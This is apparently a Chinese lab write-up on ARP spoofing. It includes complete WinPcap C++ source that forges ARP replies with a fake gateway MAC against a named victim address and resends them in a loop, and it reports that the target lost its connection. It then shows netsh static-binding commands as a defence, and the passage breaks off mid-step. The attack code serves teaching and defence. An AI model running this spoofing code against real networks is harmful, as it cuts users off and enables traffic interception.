一丶使用平台

  对Microsoft Visual Studio 2010编译平台进行前期操作 

  项目-->**属性(alt+F7)

    配置属性-->清单工具-->输入和输出-->嵌入清单-->否

    配置属性-->C/C++-->常规-->附加包含目录-->

    配置属性-->链接器-->常规-->附加库目录-->

    配置属性-->链接器-->输入-->附加依赖项-->补       充“;Packet.lib;wpcap.lib;Ws2_32.lib;”

    配置属性-->C/C++-->预处理器-->预处理器定义-->补充“;HAVE_REMOTE

二丶源代码

  部分代码使引用winpcap代码,内含库文件以及头包含文件

  主要代码 

// WinpCap Test.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"

#include


int _tmain(int argc, _TCHAR* argv[])

{

    pcap_if_t * allAdapters;//适配器列表

    pcap_if_t * adapter;

    pcap_t    * adapterHandle;//适配器句柄

    u_char      packet[ 1020 ]; //待发送的数据封包

    char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区


    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )

    {//检索机器连接的所有网络适配器

        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );

        return -1;

    }


    if( allAdapters == NULL )

    {//不存在任何适配器

        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );

        return 0;

    }


    int crtAdapter = 0;


    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)

    {//遍历输入适配器信息(名称和描述信息)

        printf( "\n%d.%s ", ++crtAdapter, adapter->name ); 

        printf( "-- %s\n", adapter->description );

    }

    printf( "\n" );


    //选择适配器

    int adapterNumber;

    printf( "Enter the adapter number between 1 and %d:", crtAdapter );

    scanf_s( "%d", &adapterNumber );


    if( adapterNumber < 1 || adapterNumber > crtAdapter )

    {

        printf( "\nAdapter number out of range.\n" );        

        pcap_freealldevs( allAdapters );// 释放适配器列表

        return -1;

    }


    adapter = allAdapters;

    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )

adapter = adapter->next;


    // 打开指定适配器

    adapterHandle = pcap_open( adapter->name, // name of the adapter

                               65536,         // portion of the packet to capture

                                              // 65536 guarantees that the whole 

                          // packet will be captured

                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode

                               1000,             // read timeout - 1 millisecond

                               NULL,          // authentication on the remote machine

                               errorBuffer    // error buffer

                              );

    if( adapterHandle == NULL )

    {//指定适配器打开失败

        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );

        // 释放适配器列表

        pcap_freealldevs( allAdapters );

        return -1;

    }


    pcap_freealldevs( allAdapters );//释放适配器列表


    //创建数据封包

    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x61;    packet[5] = 0xe3;   // 被骗计算机的mac地址

packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x61;   packet[11] = 0xde;   // 自己的mac地址

packet[12] = 0x08;   packet[13] = 0x06;  // 以太网封装arp协议(不用动)

packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太网

packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP协议

packet[18] = 0x06;  // arp第3字段:代表第二层地址的长度

packet[19] = 0x04;  // arp第4字段:代表第三层地址的长度

packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段

packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的网关地址,

packet[28] = 0xac;   packet[29] = 0x1c; packet[30] = 0x0f;   packet[31] = 0xfe;    // 网关的ip,这里是172.28.15.254(在本实验室不用改)

packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x61;   packet[37] = 0xe3;  // 被骗计算机的mac地址

packet[38] = 0xac;   packet[39] = 0x1c; packet[40] = 0x0f;   packet[41] = 0x30;   // 被骗计算机的IP地址,这里是172.28.15.48  (想骗谁,这里就改成谁的IP)


   

    //发送数据封包

for(int ssde=0;ssde<1000;ssde++)

{

pcap_sendpacket( adapterHandle, packet, 42);

Sleep(1000);

}


    system( "PAUSE" );

    return 0;

}

被骗ip 172.28.15.48          mac: c8-9c-dc-22-61-e3

网关: 172.28.15.254         mac:00-d0-f8-33-92-b1

自己:172.28.15.49          mac: c8-9c-dc-22-61-de


三丶实验结果

 使用wiresharke进行capturing  ARP数据包

 发送自修改数据包进行arp欺骗_第1张图片

受欺骗目标断开网络连接


四丶设置静态ip防止arp欺骗

 

静态绑定


C:\>netsh -c i i add neighbors 11 网关IP 网关mac


tip:输入这一条命令后大家使用arp -a可以发现网关条目变成了静态,与XP不同是,这种绑定在下一次启动仍然有效,也就是说,如果换了网关(比如换了路由了),那就需要使用如下命令清空这个静态绑定,然后重新绑定


清除静态绑定(这是一个重置操作.)


C:\>netsh i i reset


netsh i i show in


1、打开命令提示符窗口,然后输入netsh i i show in,然后回车,然后找到“本地连接”对应的 “Idx”


2、接着在CMD继续输入:netsh -c “i i” add neighbors 11 “网关IP” “Mac地址“,这里11是idx号。


3、再用arp -a命令查看一下就会发现已经绑定好了;同理,在Win7上用arp -d并不能完全的删除绑定,必须使用netsh -c "i i" delete neighbors IDX(IDX改为相应的数字)才可删除MAC地址绑定。


 1)输入arp -a 命令 查看网关的MAC网卡物理地址

 2)输入netsh i i show in 命令 查看 本地连接的idx编号

 3)输入netsh -c "i i" add neighbors 本地连接的idx “网关IP” “网关mac” 命令绑定

 4)输入arp